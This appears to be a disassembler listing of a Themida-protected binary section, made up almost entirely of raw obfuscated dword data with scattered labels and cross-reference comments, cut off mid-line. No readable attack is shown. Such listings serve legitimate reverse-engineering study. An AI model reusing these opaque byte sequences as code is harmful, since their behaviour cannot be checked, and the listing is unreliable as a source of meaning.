0B7AEE87Bh, 89FE4EAAh dd 0E222D1BDh, 0FF006A05h, 0E21E2D95h, 11E905h, 0EAD90000h dd 6427F937h, 625378E9h, 538C51DDh, 8D0F6A56h, 0E59D808Dh dd 0BE805h, 4BAD0000h, 0A89146B2h, 524B0DFCh, 773BF6Ch dd 0FF5B33B6h, 56006AD1h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0E76E71A3h, 64FC3159h dd 0AE96Ch, 93770000h, 8E0E008h, 0CF058D27h, 0B9BD83h dd 0F0105E2h, 6C85h, 0BB56FC00h, 1309A0F0h, 6A026A5Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0F831C352h, 0AFEA613Dh, 70A636EBh, 590FBF66h dd 24048950h, 433723BBh, 0E595895Dh, 0FF05E215h, 0E214E995h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 38751BA3h, 2CDF90F4h aJse db 'Jé…',0Dh,0 ; DATA XREF: Themida_:004EE55Co ; Themida_:004F0334o ... align 2 aS_9 db 'è',0 dd 5D000000h, 0DE50ED81h, 8D8905E6h, 5E20F9Dh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0ACC35242h, 72C27DF0h dd 0FA8A6D90h, 8E9E858Dh, 6A05E5h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 15EFA5C3h, 6654988Fh dd 0D435C781h, 0D88B6690h, 68E0F50h, 51000000h, 0BDFBF66h dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 1DA55C3h, 0E205D585h, 35FF6405h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0FAC35747h dd 8D6D5379h, 0A5BD89C3h, 6405E219h, 2589h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 583DD9C3h, 299D33FBh, 0FF05E20Eh, 0E2232985h, 51BD8B05h dd 6A05E209h, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 5A0EB91h, 10E92EA4h, 0A8000000h dd 0D001F686h, 7628EDEDh, 2346A49Dh, 0FFE168DDh, 0E21DF1B5h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0BC8DBC41h, 7174A859h, 9D032C99h, 5E210ADh dd 189D95FFh, 16E905E2h, 0E9000001h, 0Bh, 7C550BADh, 2E4DEEF9h dd 0B04EA313h, 3170E600h, 0E219DD85h, 8971E405h, 0E211118Dh dd 0F613C05h, 0EC83h, 4890F00h, 66000000h, 0F3E3CBBh, 10E9C8B6h dd 0B1000000h, 3E5FB06Fh, 0FD57BAB7h, 3A03C121h, 0BA61685Dh dd 6, 7CF78166h, 0FEB70F65h, 6660C18Bh, 0A941CB81h, 13599D89h dd 0C16105E2h, 0B52904E8h, 5E21B91h, 8BE2F766h, 0E20AB59Dh dd 0FC82B05h, 48Ah, 53BF6600h, 81D18B5Bh, 0EE0F0ECFh, 83E94Fh dd 81660000h, 8BAA55E3h, 185h, 0C083FC00h, 7DBD8B07h, 8305E21Dh dd 0E95200C0h, 10h, 9933C0DDh, 7E2AD40Eh, 0A18719CCh, 6A6CD7F5h dd 0FD03B5Bh, 1D83h, 0DFBF0F00h, 44E9h, 0BE800h, 16250000h dd 569831BDh, 0F2F7B751h, 0DF8B6062h, 8D8B5B61h, 0FFFFFFFFh dd 323D9D29h, 0E18305E2h, 1A840F01h, 66000000h, 832CA2BFh dd 0FFFFFFA5h, 0DE8BFEFFh, 19589h, 0DD8A0000h, 0E9h, 62B58D00h dd 6A05E652h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 3572C355h, 0A465D20h, 0E545EB74h dd 9006AF5h, 0E21A759Dh, 95FFF905h, 5E20AB9h, 1729B529h dd 9B905E2h, 0E8000011h, 0Bh, 0B1C1BF6Fh, 9050F725h, 66EB7D3Bh dd 5BC1B7BBh, 21259589h, 0E18305E2h, 0B59D23FCh, 0FC05E21Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9BC35040h dd 3C9A3F40h, 0E7AFB9BFh, 0AE84Ch, 10130000h, 60924635h dd 8334FBFBh, 0ABF38166h, 0B85F59h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 5611C351h, 0D22B5FFCh, 57D9D2Bh, 33AD05E2h, 3E8D1C2h dd 4E983D0h, 9D8BF475h, 5E211C1h, 880Dh, 0EF8A6000h, 8142CB81h dd 8B617927h, 0E20BE995h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 63526033h dd 9D2BD526h, 5E21C9Dh, 7618D8Bh, 5E905E2h, 0BA000000h dd 846B33AAh, 500DDF80h, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 6B7C9FCFh, 0BB66789Fh, 8D292C46h dd 5E205D1h, 0D79BD83h, 0F0005E2h, 2784h, 81BD2300h, 0B805E22Ah dd 0 dd 58A0F60h, 66000000h, 45CCD981h, 8D61F88Bh, 0E24C428Dh dd 0DF8B6605h, 0F8E1FFF5h, 1B55BD83h, 0F0005E2h, 47684h dd 7E900h, 3A250000h, 0F5CAA36Fh, 55BD8322h, 105E21Bh dd 478840Fh, 0BF660000h, 0BD8346F4h, 5E21B55h, 31860F03h dd 89000004h, 0E21B6D95h, 0B59D8B05h, 6005E215h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 82C35242h, 0F03831DDh dd 0FCF93E49h, 1BF1BD8Bh, 8D2905E2h, 5E20AFDh, 6AD98C66h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 6B20C351h, 6D0DEF81h, 0E1807BCEh, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 7CD8FF88h, 203C3F12h, 0BF66FB8Bh, 0C90A9F6Fh, 15C840Fh dd 8BF90000h, 0E2241D85h, 34BF6605h, 9D8D8998h, 3305E20Ah dd 0E22AA985h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0BD443FAAh, 0DB8166E7h dd 0BF90FF28h, 5756781Ch, 23BB6650h, 6A90BDh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1DDF07C3h dd 0F8B70F02h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 37AE68C3h, 8B6654DDh, 2AEF68DEh dd 0EE804F1h, 59000000h, 0D3F618C3h, 0CF9B07B1h, 0D90F7367h dd 188E0FFBh, 0E8000000h, 12h, 9E127515h, 1C718157h, 68E6399Eh dd 0FE932D80h, 5B5F8C49h, 10243481h, 6A04EE29h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 71D4C355h, 0D98B09F9h, 68F0Fh, 0B5890000h, 5E2044Dh dd 83995FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 58150EC3h, 0BD8B2463h, 5E201A5h dd 0BB9D8589h, 0BF0F05E5h, 519509FAh, 0E905E213h, 202h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 53C35646h dd 489DB260h, 858BD775h, 5E5BB95h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0AFC35040h, 8B06B56Eh, 8981C545h dd 0E21551B5h, 1800C705h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 64D9C352h dd 0EE96Bh, 0A74F0000h, 50D2791Bh, 0C8BFA025h, 0E328D0D6h dd 0BB99B58Bh, 858B05E5h, 5E200F9h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E2C35040h, 8E5A4984h, 0E302B385h dd 7E884h, 56450000h, 668E7D84h, 1D9D8BB1h, 5B05E208h dd 880F0689h, 1, 1D858BF5h, 6A05E224h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0B379C353h dd 5DF92DB6h, 44689A5h, 525096F9h, 0FD98B66h, 0FE831h dd 69B30000h, 36156413h, 0DCE4A58h, 0DCE5FA75h, 5F5F5204h dd 0BB50585Ah, 5FD38A8h, 25BD8B96h, 0E805E20Bh, 0Dh, 4C705737h dd 51AD5439h, 3709F23Ch, 0FF5FF8CEh, 0E5BB95B5h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0F241A19Bh, 2521BD8Bh, 696805E2h, 0E9D4E6E4h, 9, 0BE8BA185h dd 8678C61Ah, 24048146h, 2B381F96h, 89BD2960h, 8005E22Ch dd 0F61DCE4h, 858DF8BFh, 5E5BB9Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 6BC35343h, 1D449F67h, 0E68D781h dd 0B0BF5F89h, 500791AAh, 8A240489h, 3995FFF9h, 6A05E208h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 439AC352h, 0FF53CE2h, 981h, 3840F00h, 80000000h dd 8B6117DFh, 0E219119Dh, 5585C705h, 305E21Bh, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 0FCEC351h, 18Ch, 0BD83F900h, 5E5BB9Dh, 1D840F00h dd 0E9000000h, 7, 74FD94Bh, 0E97AB819h, 27h, 6800Fh, 9D8B0000h dd 5E20A61h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 6383C350h, 459362E1h, 8957A01Dh dd 0E221C195h, 6AFC5B05h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 301EC350h, 79134C62h dd 7860Fh, 8C0F0000h, 1, 55BD83F5h, 305E21Bh, 3D7850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 59D852C3h, 0C874119Ch, 83DE5775h, 0E5BB9DBDh dd 840F0005h, 3A5h, 79D9D8Bh, 0BF0F05E2h, 9DB5FFF9h, 6A05E5BBh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 137C352h, 861AB07h, 119D896Eh, 0FF05E206h dd 0E2172D95h, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0BD8BD61Eh, 5E205A9h dd 0BB91B58Bh, 6A05E5h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 78DD73C3h, 106C7E7h, 6A000100h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 620FC350h, 276FFEC1h, 0E78166CAh, 0BF0F5D1Dh dd 8B6696FFh, 536050F8h, 850Fh, 615E0000h, 0DB816696h dd 0B5FF1901h, 5E5BB9Dh, 68E0Fh, 0E3810000h, 38354BA3h dd 2BD195FFh, 9DBF05E2h, 8B32A7F1h, 0E5BB91B5h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0C8FFF853h, 8DEB8196h, 660D229Eh, 858BDE8Bh, 5E210DDh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0F4C35141h dd 45390FD3h, 82862C5Bh, 895FB786h, 0C486h, 79BD8B00h dd 8B05E222h, 0E20BE995h, 26C38105h, 83089ADAh, 9D0104C2h dd 5E22C55h, 89205089h, 0E231D595h, 5B858D05h, 8B05E5CEh dd 0E22109BDh, 0B8868905h, 60000000h, 191D858Bh, 0B58B05E2h dd 5E20785h, 6A006A61h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 61FEC351h, 0B5FF4065h dd 5E5BB9Dh, 95FFF88Bh, 5E214E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 12C35747h, 0F1923137h, 0F56C739h dd 186h, 505FF900h, 8D0F5250h, 2, 310F6160h, 3489585Ah dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 286AC9Ah, 2AC99589h, 0B5FF05E2h, 5E5BB9Dh dd 0B0F38166h, 2195FFEDh, 8905E22Dh, 0E21E4985h, 8327B705h dd 0E20089BDh, 840F0005h, 2Ch, 6650E8B3h, 89BADABBh, 6A2434h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h dd 0BB5B64C3h, 5063EA1Ch, 0BB9DB5FFh, 6A05E5h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 0E47CCAC3h, 95E868DEh, 13A99D89h, 95FF05E2h, 5E20415h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 77C35646h dd 11740817h, 41B3323Ch, 59BD898Ch, 8B05E226h, 0E22BCDBDh dd 9DB5FF05h, 6A05E5BBh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0B8FC351h, 943E6A6Fh dd 609E8063h, 0CE8B6652h, 619BB558h, 0A5995FFh, 0DE905E2h dd 56000000h, 8F6D35F1h, 0DB81E1E0h, 0D0127FD9h, 24CDBD83h dd 0F0205E2h, 6884h, 0A850F00h, 0F000000h, 485h, 0DCBB6600h dd 35858B2Ch, 6A05E21Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0BD7C352h, 93237C17h dd 0BF002694h, 261B7B83h, 6A0000C6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E3B9C353h dd 29851FC5h, 0E22FC99Dh, 0F985C705h, 5E20Ch, 89000000h dd 0E20BF995h, 0F3D5E905h, 6AFFFFh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 4DDFB7C3h dd 9CEFB695h, 8B30E2EFh, 50006AC1h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 53D2BA18h, 0A089139Ch dd 6E950h, 48D70000h, 31DBD9AFh, 0CDBD295Fh, 8D05E20Eh dd 0E20E9185h, 0F98B6605h, 11E990h, 0A5D0000h, 0CD1DBB9h dd 7F4C0E01h, 8F25392Fh, 507F0828h, 90F98B66h, 0CE9h, 8C0CC00h dd 41517807h, 7E70D902h, 6A006ABAh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0C65EC351h dd 3719E64h, 0BB6656EAh, 6A5B0A9Eh, 12E900h, 0D9CF0000h dd 1443343Bh, 29F122C4h, 2D186079h, 0E1925DBh, 1FF99D8Bh dd 858D05E2h, 5E6EE09h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0F5C35040h, 0E8ECC34Dh, 7 dword_53C930 dd 7C46A794h, 0E9E21640h, 6, 0B36F0A03h, 835BF0ECh, 6A05C0h ; DATA XREF: Themida_:004EF5A8o dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 7B4077C3h, 0D9A7FDD5h, 0F19D3160h, 0F05E218h, 82h, 50906100h dd 10E85250h, 4B000000h, 2F62A5A0h, 0DC20EE42h, 1CF71171h dd 0BBF48C64h, 4B4E9A02h, 0E8310F5Bh, 0Ch, 0DC642C61h dd 1A00A8D5h, 0C63317E8h, 5A5B6DB7h, 0F609058h, 688h, 498D8900h dd 0F805E21Bh, 60BB6661h, 0E9006A78h, 13h, 0F2AFBB7Bh dd 4141AECAh, 0E0FF212h, 0B8F71D32h, 298513B8h, 0E20ABDB5h dd 6A006A05h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0E560C350h, 0A19D8BCAh, 6605E21Ah dd 0FFBC58BFh, 0E21E2D95h, 259D8B05h, 8D05E231h, 0E59D808Dh dd 0FFF2B305h, 52006AD1h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0DC2D2B69h, 0B35497CCh dd 0A5137FBBh, 0B9BD8327h, 105E200h, 6A850Fh, 81660000h dd 6AB666D3h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 4BDB2B4Fh, 9D298450h, 5E22CF9h, 25099D8Bh dd 0E99005E2h, 5, 12F810A0h, 6A905043h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 3F0AC357h dd 8B668164h, 0E995FFFBh, 0F905E214h, 0D4CE9h db 0 byte_53CAC5 db 0E8h, 2 dup(0) ; DATA XREF: Themida_:004F0D38o dd 815D0000h, 0E6EE13EDh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0F2F7B751h dd 10E962h, 0EE760000h, 9B0E9CCh, 0CDDE0305h, 95E9AB4Fh dd 0BD33A4AAh, 5E21929h, 30819D89h, 858D05E2h, 5E58E9Eh dd 404EF0BBh, 880F506Bh, 2, 4892EB3h, 52006A24h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 2038018Eh, 51D0806h, 259D89DFh, 6405E223h, 35FFh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h db 0C3h, 0C2h word_53CB76 dw 0C087h ; DATA XREF: Themida_:004EF16Co dd 0BD8BF93Dh, 5E22691h, 10C59D29h, 896405E2h, 25h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 1D9D8B0Ch, 0FF05E21Eh, 0E2232985h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0D50A814Eh, 0CF8156F6h, 0AED6032h, 0B5FFFF6Ah, 5E23045h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 64C35040h dd 0FFDF8B8Bh, 0E2189D95h, 13EE905h, 5E90000h, 7D000000h dd 1E022442h, 70E600B0h, 10119D8Bh, 71E405E2h, 0FE8h, 2E4F8A00h dd 1B60F2FDh, 9DB97450h, 0D7F3A15Dh, 0C3C78166h, 613C5BD9h dd 106830Fh, 0B60F0000h, 0A6BB66C8h, 6BAEEh, 0BD8B0000h dd 5E20D45h, 1162CF81h, 0C18B5127h, 0EE8h, 0AE8DC600h dd 0BB311E82h, 0B787FF5Dh, 66F3D4DDh, 0C15BD98Bh, 8B0F04E8h dd 6, 2B15BD03h, 0F76605E2h, 12E9E2h, 5B300000h, 135865E9h dd 195FC125h, 0CE2C63A0h, 46F3DADFh, 9D31C82Bh, 5E200BDh dd 13918D89h, 0D18B05E2h, 0DA289EBBh, 92E94Fh, 8B660000h dd 4858BF9h, 8B000000h, 0B830FFAh, 0F000000h, 58Ch, 0CF816600h dd 0C0839158h, 4870F07h, 66000000h, 8329B7BBh, 816600C0h dd 3BCA49DFh, 23830FD0h, 0E8000000h, 0Ch, 6DB6F34Ah, 12C53CD2h dd 2BC0A5CEh, 4F5BD8Bh, 0E95F05E2h, 3Ch, 153DBD8Bh, 8D8B05E2h dd 0FFFFFFFFh, 0D0DBD8Bh, 0E18305E2h, 21840F01h, 8B000000h dd 0E214D5BDh, 0FFA58305h, 0FEFFFFFFh, 89D9B70Fh, 495h dd 46D38100h, 0E95999CBh, 0 dd 636BB58Dh, 9D3305E6h, 5E231B1h, 0BD8B006Ah, 5E200BDh dd 0AB995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0F4BE5DC3h, 75D697CEh, 0CE9h, 902F2000h dd 482C4580h, 0D4FC016Ah, 0FF1B9D0h, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E14DF3C3h dd 3EAD5B24h, 0E98D3EF5h, 8, 3349BFA7h, 0D08BD3B0h, 1F058509h dd 0E18305E2h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0BF6409Ch, 9D0DE604h dd 12E849h, 0FB4D0000h, 0F35B2256h, 3F1E08F1h, 927C5828h dd 17F7426Eh, 24058529h, 0FC5B05E2h, 69D6C381h, 0B83B20h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0B1E3C352h, 602B8637h, 6A591EDAh dd 1B318D89h, 0D22B05E2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0FAC35646h, 12E87Dh, 0DF4E0000h, 7398C45Ah dd 556AD4CEh, 31A2C705h, 32781217h, 14E8h, 3DDDD600h, 0E3C92CB4h dd 59F2EC95h, 689537D6h, 92254A69h, 0EABF665Dh, 0AD5B5F6Ah dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 36BC357h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0BD8B61C0h, 5E21141h, 880Dh, 7599BB00h dd 958B36D6h, 5E20BE9h, 7E9h, 29342900h, 0DE1CB1A6h, 7618D8Bh dd 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 4DE28C3h, 5C8E138Bh, 5E9B5h, 86B00000h, 50B2A24Eh dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 6DB58958h dd 8B05E205h, 0E21781BDh, 81665005h, 5B6D85C7h, 0D79BD83h dd 0F0005E2h, 7284h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0FCC9CA3Fh, 0B8h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 3EB8ABEh, 0BF0F5CA4h, 428D8DDEh, 8B05E24Ch, 6AE1FFF8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 0F907C350h, 8367D780h, 0E21B55BDh, 840F0005h dd 3BCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 13C35545h, 55BD83ACh, 105E21Bh, 3AD840Fh, 9D230000h dd 5E217EDh, 0EB69BB66h, 1B55BD83h, 0F0305E2h, 36086h dd 0C1BF6600h, 0BD016067h, 5E22AB1h, 6601C380h, 0BD8BD98Ch dd 5E215B9h, 7CD78166h, 4E18063h, 0FC90AFCh, 0DC84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 9D8B5217h, 5E20B8Dh, 241D858Bh, 0B70F05E2h, 0A98533DBh dd 8905E22Ah, 0E21A2995h, 52509005h, 5250310Fh, 310F5250h dd 310F585Ah, 585A585Ah, 14E950h, 1CD80000h, 81B70B37h dd 0E84A7AD1h, 836AB267h, 1E0EF0Ah, 8B906E9Ah, 0E9006ADFh dd 10h, 8C0CC17h, 41517807h, 7E70D902h, 760A78BAh, 915B8968h dd 24348139h, 398E5876h, 68A0Fh, 0BD890000h, 5E2236Dh dd 83995FFh, 87BF05E2h, 8921483Dh, 0E5BB9D85h, 76DF8105h dd 0E9742D63h, 209h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 8AC35545h, 999D8BE0h, 8B05E226h, 0E22D399Dh dd 95858B05h, 6A05E5BBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0C754C352h, 10CD591Bh dd 1BABB1AFh, 1800C7h, 9AB70000h, 0BB99B58Bh, 858B05E5h dd 5E200F9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 2CC35141h, 38EF120Ch, 0CBB0BB8Eh, 698D8924h, 8905E218h dd 0BD8D0906h, 8B05E216h, 0E2241D85h, 5E905h, 0C6350000h dd 89E92941h, 6A0446h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 6DDC5CC3h, 999D8B90h, 8B05E22Ah dd 0E201859Dh, 8E85005h, 35000000h, 53C812C7h, 6053E6F2h dd 0C01F74BEh, 0EE966h, 578D0000h, 0FA4E6EE6h, 0FBC2BC00h dd 0EDDF979Dh, 34895B61h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 7AB7D7Bh, 95B5FFA5h dd 6A05E5BBh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0E009C353h, 485B589h, 800F05E2h dd 6, 0CFD9529h, 466805E2h, 51D7043Fh, 5F575250h, 10E8310Fh dd 13000000h, 3D71501Eh, 0C985FC60h, 727453CAh, 5BA9AEA2h dd 815B585Ah, 0C4B92404h, 858D291Ah, 5E5BB9Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0E3C35343h, 0DB664898h dd 0CA1BD89h, 0E99005E2h, 10h, 0B004CD05h, 60EA781Ah, 0B975A2E3h dd 3D92C5BCh, 9092B750h, 78E2BF66h, 83995FFh, 6A05E2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 60D63DC3h, 0BE9h, 813DD800h, 0FF06E11Fh, 0D31B8F6h dd 1DBF6661h, 6A6111h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 18F866C3h, 0C3338215h, 85C7FC7Ah dd 5E21B55h, 3, 0BD8301B7h, 5E5BB9Dh, 3E840F00h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0D9CEC357h, 3FDF1934h, 9958923h, 0E905E21Dh dd 2Ch, 0B8F0Fh, 6E90000h, 2A000000h, 0D6B0F049h, 0C3050C8h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 23358D31h dd 6A05E2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 0DC8D5CC3h, 12E9h, 44A15400h, 0D287342Fh dd 286E785Eh, 80D739E1h, 8B68B082h, 0E23019BDh, 55BD8305h dd 305E21Bh, 3C1850Fh, 0E3800000h, 0BD83F536h, 5E5BB9Dh dd 0B0840F00h, 81000003h, 4AF2B5EBh, 9DB5FF28h, 0E905E5BBh dd 14h, 0EF801AA8h, 36E26D06h, 9975820Fh, 0BDEFDD68h, 232FC9D0h dd 172D95FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0BBCDF9C3h, 5EED84CEh, 0BB91B58Bh dd 0E85605E5h, 5, 1D602458h, 0C75B5B2Dh, 1000106h, 71858900h dd 9605E201h, 13E857h, 54EE0000h, 7B759478h, 0C95CA2C8h dd 686906B3h, 960D29CDh, 5FDF8BDBh, 59BF505Fh, 965F55D7h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5FC35040h dd 49FF7F9Ch, 93F4A973h, 9DB5FFF5h, 0E805E5BBh, 5, 0CE65EF75h dd 0CDBD8BF6h, 5F05E20Ah, 2BD195FFh, 49BF05E2h, 8B48F83Dh dd 0E5BB91B5h, 9D9D8905h, 8B05E223h, 0E210DD85h, 0C9958905h dd 8905E222h, 0C486h, 0D98B6600h, 0BE9958Bh, 0DE8B05E2h dd 6A04C283h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 7338C350h, 0CE96Eh, 71F40000h, 5D557219h dd 1E191569h, 508922DEh, 52006A20h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0E1E1C0BBh, 29BD8BB0h dd 0BF05E22Dh, 282A42E0h, 0CE5B858Dh, 9D8905E5h, 5E22AF9h dd 8689F7B7h, 0B8h, 0A89BD8Bh, 6A05E2h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C6C35242h, 0D5CC606h dd 9D8B612Bh, 5E210E1h, 0BB9DB5FFh, 6A05E5h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 35BA4DC3h dd 14E995FFh, 0B58905E2h, 5E22FA5h, 0FE8B6650h, 0E8243489h dd 13h, 0A7E3D3A8h, 122787EFh, 8AEE0C68h, 0ED56FCBBh, 897B9223h dd 0E22685B5h, 8A0F5F05h, 4, 7B77BB66h, 0BB9DB5FFh, 6A05E5h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0DA63E6C3h, 0D31AAD7Fh, 0FB8B85D5h, 32EDBD89h, 95FF05E2h dd 5E22D21h, 7C6818BFh, 89BD8350h, 5E200h, 1E840Fh, 0B5890000h dd 5E209D1h, 8840Fh, 8C0F0000h, 2, 8B505F56h, 243489D8h dd 569ABB66h, 0BB9DB5FFh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h dd 